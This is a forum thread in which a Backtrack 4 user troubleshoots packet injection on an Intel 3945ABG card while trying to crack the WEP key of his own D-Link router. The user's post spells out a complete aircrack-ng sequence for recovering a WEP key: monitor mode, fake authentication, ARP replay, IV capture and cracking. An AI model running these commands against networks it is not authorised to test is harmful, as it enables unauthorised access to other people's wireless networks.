Problem ipraw and 3945ABG

[MrWolf]

Hi to all!

I'm using Backtrack 4 on my notebook, and the wireless adapter is Intel 3945ABG

I found and tried to use these commands to load the injection drivers:
modprobe -r iwl3945
modprobe ipwraw

But I get

Fatal! module ipwraw not found

Can anyone tell me please what's wrong with it?

Thanks in advance!

Their is no longer a need to load special drivers for that card in Backtrack 4. You just need to airmon-ng start wlan0 and it will create a device (mon0) in monitor mode.

if you want to stick with bt3 the basic steps are, upgrade the kernel and install the other drivers (ipw3945 i think they are called). its not the easiest thing but its a great learning experience.

Hi again!
Ok, the adapter works, but now the problem is I don't get any IV packet!

Try to get closer to the AP.

I'm trying with my router... and it's very close!

But... can I inject with this adapter?

Yes you can. I have the same card and have tested it intensively.
Works out of the box in bt4 and with all the wireless tools that you can find in it.
I think that the solution to your problem isn't the cards driver but your approach (should read more).

[MrWolf]

Ok, here are the commands I use, they work well with my Netgear WG511T

Start the device in monitor mode:
airmon-ng start wlan0

Show the available access points:
airodump-ng -c [canal] mon0

Fake authentication:
aireplay-ng -1 1 -e [ESSID AP] -a [MAC AP] -h [MAC device] mon0

At the same time in another shell, ARP request:
aireplay-ng -3 -b [MAC AP] -h [MAC device] mon0

At the same time in another shell, capture IVs:
airodump-ng -c [canal] --bssid [MAC AP] -w capture mon0

At the same time in another shell, find the WEP key:
aircrack-ng -z capture*.cap

Try starting the card on a set channel

airmon-ng start wlan0 11

change 11 for whatever channel your ap is broadcasting on
then try

aireplay-ng --test mon0

this will tell you if injections working or not

[MrWolf]

Many thanks for your help!

The test says injection should work

However, maybe there's something wrong with my router, a D-Link DI-524: with WEP, you can choose "open", "shared key" or "both"
If I choose "open", I can't get any IVs; if I choose "shared key", I can't perform a fake authentication (yeah, I searched and discovered why)
So, I remember I succesfully found my WEP key choosing "both" using my Netgear WG511T, but now I can't find it anymore neither with it!
I can get only a few IVs
I can't really understand what's wrong now
